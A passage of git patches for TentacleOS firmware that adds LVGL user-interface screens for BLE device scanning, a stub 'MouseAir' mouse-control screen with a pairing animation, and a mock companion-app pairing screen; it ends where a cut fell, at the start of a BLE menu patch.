BRIDGE_CMD_BLE_SCAN_START}; + bridge_frame_t resp = {0}; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && resp.status == BRIDGE_STATUS_OK) { + uint8_t n = 0; + for (int i = 0; i < SCAN_POLL_TRIES; i++) { + vTaskDelay(pdMS_TO_TICKS(SCAN_POLL_DELAY_MS)); + req.cmd = BRIDGE_CMD_BLE_SCAN_COUNT; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK && resp.payload[0] > 0) { + n = resp.payload[0]; + break; + } + } + result = SCAN_DONE; + + int to_fetch = (n > BLE_MAX_DEVS) ? BLE_MAX_DEVS : n; + for (int i = 0; i < to_fetch; i++) { + req.cmd = BRIDGE_CMD_BLE_SCAN_GET; + req.len = 1; + req.payload[0] = (uint8_t)i; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK) { + bridge_ble_dev_t dev; + memcpy(&dev, resp.payload, sizeof(dev)); + if (!dev.valid) + continue; + + if (dev.name[0] != '\0') { + snprintf(s_dev_labels[count], + sizeof(s_dev_labels[count]), + "%.20s (%d)", + dev.name, + (int8_t)dev.rssi); + } else { + snprintf(s_dev_labels[count], + sizeof(s_dev_labels[count]), + "%02X:%02X:%02X:%02X:%02X:%02X (%d)", + dev.addr[0], + dev.addr[1], + dev.addr[2], + dev.addr[3], + dev.addr[4], + dev.addr[5], + (int8_t)dev.rssi); + } + count++; + } + } + } else { + ESP_LOGE(TAG, "BLE_SCAN_START failed (bridge/C5 not responding)"); + } + } else { + ESP_LOGE(TAG, "bridge_master_init failed"); + } + + s_dev_count = count; + s_scan_state = result; + s_scanning = false; + lv_async_call(scan_done_cb, NULL); + vTaskDelete(NULL); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) + ui_switch_screen(SCREEN_BLE_MENU); + + if (((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) && !s_scanning) { + ui_ble_scan_open(); + return; + } + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_ble_scan_open(void) { + s_scan_state = SCAN_RUNNING; + s_dev_count = 0; + build_screen(); + + if (!s_scanning) { + s_scanning = true; + if (xTaskCreate( + ble_scan_task, "ble_scan", BLE_SCAN_TASK_STACK, NULL, BLE_SCAN_TASK_PRIO, NULL) != + pdPASS) { + s_scanning = false; + s_scan_state = SCAN_FAIL; + build_screen(); + } + } + + ESP_LOGI(TAG, "BLE scan screen opened — real C5 scan started"); +} diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_scan_ui.h b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_scan_ui.h new file mode 100644 index 000000000..e7ec0e0dc --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_scan_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef BLE_SCAN_UI_H +#define BLE_SCAN_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the BLE device scan screen (real scan via the C5 bridge). */ +void ui_ble_scan_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // BLE_SCAN_UI_H From 84e6f88b1d7576ad2a3d813f5f4f1441c06c0fe0 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:22:27 -0300 Subject: [PATCH 131/572] feat(ui): add MouseAir pairing and mouse control screens --- .../ui/screens/bluetooth/ble_mouse_ui.c | 341 ++++++++++++++++++ .../screens/bluetooth/include/ble_mouse_ui.h | 33 ++ 2 files changed, 374 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/ble_mouse_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_mouse_ui.h diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ble_mouse_ui.c b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_mouse_ui.c new file mode 100644 index 000000000..b112659e8 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_mouse_ui.c @@ -0,0 +1,341 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ble_mouse_ui.h" + +#include "esp_log.h" +#include "esp_timer.h" +#include "lvgl.h" +#include "st7789.h" + +#include "buttons_gpio.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "BLE_MOUSE_UI"; + +#define OUTER_BORDER 4 +#define TOP_BORDER_H 46 +#define TITLE_BAR_W 180 +#define TITLE_BAR_H 30 +#define NAV_TIMER_INTERVAL_MS 50 +#define PAIRING_DURATION_US 1800000 + +static lv_obj_t *make_screen_with_title(const char *title) { + lv_obj_t *screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(screen, LV_OBJ_FLAG_SCROLLABLE); + + lv_obj_set_style_border_width(screen, 0, 0); + lv_obj_set_style_pad_all(screen, 0, 0); + + lv_obj_t *top_area = lv_obj_create(screen); + lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); + lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(top_area, 3, 0); + lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); + lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); + lv_obj_set_style_radius(top_area, 0, 0); + lv_obj_set_style_pad_all(top_area, 0, 0); + + lv_obj_t *title_bar = lv_obj_create(top_area); + lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); + lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); + lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(title_bar, 12, 0); + lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_border_width(title_bar, 2, 0); + lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); + + lv_obj_t *title_lbl = lv_label_create(title_bar); + lv_label_set_text(title_lbl, title); + lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_12, 0); + lv_obj_center(title_lbl); + + return screen; +} + +#define RIPPLE_COUNT 3 +#define RIPPLE_MIN 30 +#define RIPPLE_MAX 132 +#define RIPPLE_MS 1800 +#define RIPPLE_OFFSET_Y 0 + +static lv_obj_t *s_pair_screen = NULL; +static lv_timer_t *s_pair_timer = NULL; +static int64_t s_pair_start = 0; +static bool s_pair_back_last = false; + +static void ripple_cb(void *var, int32_t v) { + lv_obj_t *ring = (lv_obj_t *)var; + int32_t sz = RIPPLE_MIN + (RIPPLE_MAX - RIPPLE_MIN) * v / 255; + lv_obj_set_size(ring, sz, sz); + lv_obj_align(ring, LV_ALIGN_CENTER, 0, RIPPLE_OFFSET_Y); + lv_obj_set_style_opa(ring, (lv_opa_t)(255 - v), 0); +} + +static void pair_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_pair_screen) { + lv_timer_delete(t); + s_pair_timer = NULL; + return; + } + if (ui_input_is_locked()) { + s_pair_back_last = back_button_is_down(); + return; + } + + bool back = back_button_is_down(); + if (back && !s_pair_back_last) { + ui_switch_screen(SCREEN_BLE_MENU); + return; + } + s_pair_back_last = back; + + if (esp_timer_get_time() - s_pair_start >= PAIRING_DURATION_US) + ui_switch_screen(SCREEN_BLE_MOUSE); +} + +void ui_ble_mouse_pairing_open(void) { + if (s_pair_screen != NULL) { + lv_obj_del(s_pair_screen); + s_pair_screen = NULL; + } + + s_pair_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_pair_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_pair_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_pair_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_pair_screen, 0, 0); + lv_obj_set_style_pad_all(s_pair_screen, 0, 0); + + ui_chrome_header(s_pair_screen, "MouseAir", "/assets/icons/mouse_icon.bin"); + + for (int i = 0; i < RIPPLE_COUNT; i++) { + lv_obj_t *ring = lv_obj_create(s_pair_screen); + lv_obj_remove_flag(ring, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(ring, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(ring, 3, 0); + lv_obj_set_style_border_color(ring, current_theme.border_accent, 0); + lv_obj_set_style_radius(ring, LV_RADIUS_CIRCLE, 0); + lv_obj_set_size(ring, RIPPLE_MIN, RIPPLE_MIN); + lv_obj_align(ring, LV_ALIGN_CENTER, 0, RIPPLE_OFFSET_Y); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, ring); + lv_anim_set_exec_cb(&a, ripple_cb); + lv_anim_set_values(&a, 0, 255); + lv_anim_set_duration(&a, RIPPLE_MS); + lv_anim_set_delay(&a, i * (RIPPLE_MS / RIPPLE_COUNT)); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_start(&a); + } + + lv_obj_t *node = lv_obj_create(s_pair_screen); + lv_obj_remove_flag(node, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(node, 38, 38); + lv_obj_set_style_radius(node, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_opa(node, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(node, current_theme.border_accent, 0); + lv_obj_set_style_border_width(node, 0, 0); + lv_obj_align(node, LV_ALIGN_CENTER, 0, RIPPLE_OFFSET_Y); + lv_obj_t *bt = lv_label_create(node); + lv_label_set_text(bt, LV_SYMBOL_BLUETOOTH); + lv_obj_set_style_text_color(bt, current_theme.text_main, 0); + lv_obj_center(bt); + + lv_obj_t *cap = lv_label_create(s_pair_screen); + lv_label_set_text(cap, "Pairing..."); + lv_obj_set_style_text_color(cap, current_theme.text_main, 0); + lv_obj_set_style_text_font(cap, &lv_font_montserrat_14, 0); + lv_obj_align(cap, LV_ALIGN_CENTER, 0, RIPPLE_OFFSET_Y + 92); + + ui_chrome_footer(s_pair_screen, "BACK Cancel"); + + s_pair_start = esp_timer_get_time(); + s_pair_back_last = false; + if (s_pair_timer == NULL) + s_pair_timer = lv_timer_create(pair_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); + + ui_screen_load(s_pair_screen); +} + +typedef struct { + const char *text; + int dx, dy, w, h; + int up, down, left, right; +} mouse_btn_t; + +enum { + M_LCLICK, + M_RCLICK, + M_SCRL_UP, + M_SCRL_DN, + M_COUNT, +}; + +static const mouse_btn_t MOUSE_BTNS[M_COUNT] = { + [M_LCLICK] = {"L CLICK", -56, 120, 92, 50, -1, M_SCRL_UP, -1, M_RCLICK}, + [M_RCLICK] = {"R CLICK", 56, 120, 92, 50, -1, M_SCRL_UP, M_LCLICK, -1}, + [M_SCRL_UP] = {LV_SYMBOL_UP " SCROLL", 0, 182, 140, 40, M_LCLICK, M_SCRL_DN, -1, -1}, + [M_SCRL_DN] = {LV_SYMBOL_DOWN " SCROLL", 0, 228, 140, 40, M_SCRL_UP, -1, -1, -1}, +}; + +static lv_obj_t *s_mouse_screen = NULL; +static lv_obj_t *s_mouse_objs[M_COUNT]; +static lv_timer_t *s_mouse_timer = NULL; +static int s_mouse_focus = M_LCLICK; + +static bool s_m_up_last = false; +static bool s_m_down_last = false; +static bool s_m_left_last = false; +static bool s_m_right_last = false; +static bool s_m_ok_last = false; +static bool s_m_back_last = false; + +static void mouse_apply_focus(lv_obj_t *btn, bool focused) { + lv_obj_set_style_border_color( + btn, focused ? current_theme.border_accent : current_theme.border_interface, 0); + lv_obj_set_style_border_width(btn, focused ? 3 : 2, 0); + + lv_obj_set_style_shadow_width(btn, focused ? 14 : 0, 0); + lv_obj_set_style_shadow_color(btn, current_theme.border_accent, 0); + lv_obj_set_style_shadow_spread(btn, focused ? 1 : 0, 0); +} + +static void mouse_set_focus(int idx) { + if (idx < 0 || idx >= M_COUNT || idx == s_mouse_focus) + return; + mouse_apply_focus(s_mouse_objs[s_mouse_focus], false); + s_mouse_focus = idx; + mouse_apply_focus(s_mouse_objs[s_mouse_focus], true); +} + +static lv_obj_t *mouse_make_button(const mouse_btn_t *def) { + lv_obj_t *btn = lv_obj_create(s_mouse_screen); + lv_obj_set_size(btn, def->w, def->h); + lv_obj_align(btn, LV_ALIGN_TOP_MID, def->dx, def->dy); + lv_obj_remove_flag(btn, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(btn, (def->w == def->h) ? LV_RADIUS_CIRCLE : 14, 0); + lv_obj_set_style_bg_opa(btn, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(btn, current_theme.bg_item_bot, 0); + lv_obj_set_style_bg_grad_color(btn, current_theme.bg_item_top, 0); + lv_obj_set_style_bg_grad_dir(btn, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(btn, 2, 0); + lv_obj_set_style_border_color(btn, current_theme.border_interface, 0); + lv_obj_set_style_pad_all(btn, 0, 0); + + lv_obj_t *lbl = lv_label_create(btn); + lv_label_set_text(lbl, def->text); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); + lv_obj_center(lbl); + + return btn; +} + +static void mouse_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_mouse_screen) { + lv_timer_delete(t); + s_mouse_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = up_button_is_down(); + bool down = down_button_is_down(); + bool left = left_button_is_down(); + bool right = right_button_is_down(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (back && !s_m_back_last) + ui_switch_screen(SCREEN_BLE_MENU); + + if (up && !s_m_up_last) + mouse_set_focus(MOUSE_BTNS[s_mouse_focus].up); + if (down && !s_m_down_last) + mouse_set_focus(MOUSE_BTNS[s_mouse_focus].down); + if (left && !s_m_left_last) + mouse_set_focus(MOUSE_BTNS[s_mouse_focus].left); + if (right && !s_m_right_last) + mouse_set_focus(MOUSE_BTNS[s_mouse_focus].right); + + if (ok && !s_m_ok_last) + ESP_LOGI(TAG, "press: %s", MOUSE_BTNS[s_mouse_focus].text); + + s_m_up_last = up; + s_m_down_last = down; + s_m_left_last = left; + s_m_right_last = right; + s_m_ok_last = ok; + s_m_back_last = back; +} + +void ui_ble_mouse_open(void) { + if (s_mouse_screen != NULL) { + lv_obj_del(s_mouse_screen); + s_mouse_screen = NULL; + } + + s_mouse_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_mouse_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_mouse_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_mouse_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_mouse_screen, 0, 0); + lv_obj_set_style_pad_all(s_mouse_screen, 0, 0); + + ui_chrome_header(s_mouse_screen, "MouseAir", "/assets/icons/mouse_icon.bin"); + + lv_obj_t *pad = lv_obj_create(s_mouse_screen); + lv_obj_remove_flag(pad, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(pad, 56, 56); + lv_obj_align(pad, LV_ALIGN_TOP_MID, 0, 56); + lv_obj_set_style_radius(pad, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_opa(pad, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(pad, current_theme.bg_item_bot, 0); + lv_obj_set_style_bg_grad_color(pad, current_theme.bg_item_top, 0); + lv_obj_set_style_bg_grad_dir(pad, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(pad, 2, 0); + lv_obj_set_style_border_color(pad, current_theme.border_accent, 0); + + lv_obj_t *pad_sym = lv_label_create(pad); + lv_label_set_text(pad_sym, LV_SYMBOL_GPS); + lv_obj_set_style_text_color(pad_sym, current_theme.border_accent, 0); + lv_obj_center(pad_sym); + + for (int i = 0; i < M_COUNT; i++) + s_mouse_objs[i] = mouse_make_button(&MOUSE_BTNS[i]); + + s_mouse_focus = M_LCLICK; + mouse_apply_focus(s_mouse_objs[s_mouse_focus], true); + + ui_chrome_footer(s_mouse_screen, "Arrows Move OK Press BACK Exit"); + + if (s_mouse_timer == NULL) + s_mouse_timer = lv_timer_create(mouse_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); + + ui_screen_load(s_mouse_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_mouse_ui.h b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_mouse_ui.h new file mode 100644 index 000000000..3d202b9c9 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_mouse_ui.h @@ -0,0 +1,33 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef BLE_MOUSE_UI_H +#define BLE_MOUSE_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief "Pairing..." screen; auto-advances to the mouse control screen. */ +void ui_ble_mouse_pairing_open(void); + +/** @brief BLE mouse control screen (IR-remote style, stub). */ +void ui_ble_mouse_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // BLE_MOUSE_UI_H From 7f0cf835e7a75996b3eb61cb9d21e8401176d2ad Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:22:45 -0300 Subject: [PATCH 132/572] feat(ui): add companion pairing screen --- .../ui/screens/bluetooth/ble_companion_ui.c | 214 ++++++++++++++++++ .../bluetooth/include/ble_companion_ui.h | 30 +++ 2 files changed, 244 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/ble_companion_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_companion_ui.h diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ble_companion_ui.c b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_companion_ui.c new file mode 100644 index 000000000..2eaa1578b --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_companion_ui.c @@ -0,0 +1,214 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ble_companion_ui.h" + +#include "lvgl.h" +#include "st7789.h" + +#include "buttons_gpio.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "waves_ui.h" + +#define OUTER_BORDER 4 +#define TOP_BORDER_H 46 +#define TOP_AREA_BORDER_WIDTH 3 +#define TITLE_BAR_W 180 +#define TITLE_BAR_H 30 +#define TITLE_BAR_RADIUS 12 +#define TITLE_BAR_BORDER_WIDTH 2 +#define NAV_TIMER_INTERVAL_MS 50 +#define PAIR_PHASE_MS 3000 +#define CHROME_CHILD_COUNT 2 + +static lv_obj_t *s_screen = NULL; +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_phase_timer = NULL; + +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *timer); +static void phase_timer_cb(lv_timer_t *timer); +static void show_success(void); + +static void fade_in(lv_obj_t *obj, uint32_t ms) { + if (obj != NULL) + lv_obj_fade_in(obj, ms, 0); +} + +static void pop_size_cb(void *var, int32_t v) { + lv_obj_set_size((lv_obj_t *)var, v, v); + lv_obj_center((lv_obj_t *)var); +} +static void pop_opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} +static void pop_in(lv_obj_t *obj, int target_px, uint32_t ms) { + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_duration(&a, ms); + lv_anim_set_path_cb(&a, lv_anim_path_overshoot); + lv_anim_set_exec_cb(&a, pop_size_cb); + lv_anim_set_values(&a, 0, target_px); + lv_anim_start(&a); + + lv_anim_set_path_cb(&a, lv_anim_path_linear); + lv_anim_set_exec_cb(&a, pop_opa_cb); + lv_anim_set_values(&a, 0, LV_OPA_COVER); + lv_anim_start(&a); +} + +static lv_obj_t *make_screen_with_title(const char *title) { + lv_obj_t *screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(screen, 0, 0); + lv_obj_set_style_pad_all(screen, 0, 0); + + lv_obj_t *header = ui_chrome_header(screen, title, "/assets/icons/app_icon.bin"); + fade_in(header, 200); + + ui_chrome_footer(screen, "BACK Exit"); + + return screen; +} + +void ui_companion_pairing_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_screen = make_screen_with_title("COMPANION"); + + waves_create(s_screen, LV_ALIGN_CENTER, 0, -10, LV_SYMBOL_BLUETOOTH, NULL); + + lv_obj_t *status = lv_label_create(s_screen); + lv_label_set_text(status, "Waiting for app..."); + lv_obj_set_style_text_color(status, current_theme.text_main, 0); + lv_obj_set_style_text_font(status, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(status, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(status, LV_ALIGN_CENTER, 0, 92); + + lv_obj_t *code = lv_label_create(s_screen); + lv_label_set_text(code, "CODE: 4821"); + lv_obj_set_style_text_color(code, current_theme.border_accent, 0); + lv_obj_set_style_text_font(code, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(code, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(code, LV_ALIGN_CENTER, 0, 116); + + fade_in(status, 200); + fade_in(code, 200); + + s_btn_back_last = false; + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); + + s_phase_timer = lv_timer_create(phase_timer_cb, PAIR_PHASE_MS, NULL); + lv_timer_set_repeat_count(s_phase_timer, 1); + + ui_screen_load(s_screen); +} + +static void show_success(void) { + uint32_t child_count = lv_obj_get_child_count(s_screen); + for (uint32_t i = child_count; i > CHROME_CHILD_COUNT; i--) + lv_obj_del(lv_obj_get_child(s_screen, (int32_t)(i - 1))); + + waves_create(s_screen, LV_ALIGN_CENTER, 0, -10, LV_SYMBOL_OK, NULL); + + lv_obj_t *status = lv_label_create(s_screen); + lv_label_set_text(status, "Companion linked!"); + lv_obj_set_style_text_color(status, current_theme.border_accent, 0); + lv_obj_set_style_text_font(status, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(status, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(status, LV_ALIGN_CENTER, 0, 78); + + lv_obj_t *linked = lv_label_create(s_screen); + lv_label_set_text(linked, "Linked: HighBoy-Companion v1.2"); + lv_obj_set_style_text_color(linked, current_theme.text_main, 0); + lv_obj_set_style_text_font(linked, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(linked, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(linked, LV_ALIGN_CENTER, 0, 100); + + lv_obj_t *ver = lv_label_create(s_screen); + lv_label_set_text(ver, "TentacleOS Companion v1.0"); + lv_obj_set_style_text_color(ver, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(ver, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(ver, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(ver, LV_ALIGN_CENTER, 0, 120); + + lv_obj_t *check_slot = lv_obj_create(s_screen); + lv_obj_remove_flag(check_slot, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(check_slot, 36, 36); + lv_obj_set_style_bg_opa(check_slot, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(check_slot, 0, 0); + lv_obj_set_style_pad_all(check_slot, 0, 0); + lv_obj_align(check_slot, LV_ALIGN_CENTER, 0, 50); + + lv_obj_t *check = lv_obj_create(check_slot); + lv_obj_remove_flag(check, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(check, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_color(check, lv_palette_main(LV_PALETTE_GREEN), 0); + lv_obj_set_style_bg_opa(check, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(check, 0, 0); + lv_obj_set_style_pad_all(check, 0, 0); + lv_obj_set_size(check, 0, 0); + lv_obj_center(check); + + lv_obj_t *chk_lbl = lv_label_create(check); + lv_label_set_text(chk_lbl, LV_SYMBOL_OK); + lv_obj_set_style_text_color(chk_lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(chk_lbl, &lv_font_montserrat_14, 0); + lv_obj_center(chk_lbl); + + pop_in(check, 30, 360); + fade_in(status, 240); + fade_in(linked, 240); + fade_in(ver, 240); +} + +static void phase_timer_cb(lv_timer_t *timer) { + if (lv_screen_active() == s_screen) + show_success(); + s_phase_timer = NULL; + (void)timer; +} + +static void nav_timer_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(timer); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) { + s_btn_back_last = back_button_is_down(); + return; + } + + bool is_back = back_button_is_down(); + if (is_back && !s_btn_back_last) { + if (s_phase_timer != NULL) { + lv_timer_delete(s_phase_timer); + s_phase_timer = NULL; + } + ui_switch_screen(SCREEN_BLE_MENU); + } + s_btn_back_last = is_back; +} diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_companion_ui.h b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_companion_ui.h new file mode 100644 index 000000000..11b76cf7d --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_companion_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef BLE_COMPANION_UI_H +#define BLE_COMPANION_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Companion "pairing" screen (MOCK); animates and waits for BACK. */ +void ui_companion_pairing_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // BLE_COMPANION_UI_H From 16227c84f83ff6523bbcb55db8e46c0bcdd20584 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:23:05 -0300 Subject: [PATCH 133/572] refactor(ui): rewire BLE menu with icons and new screen routes --- .../ui/screens/bluetooth/ui_ble_menu.c | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c 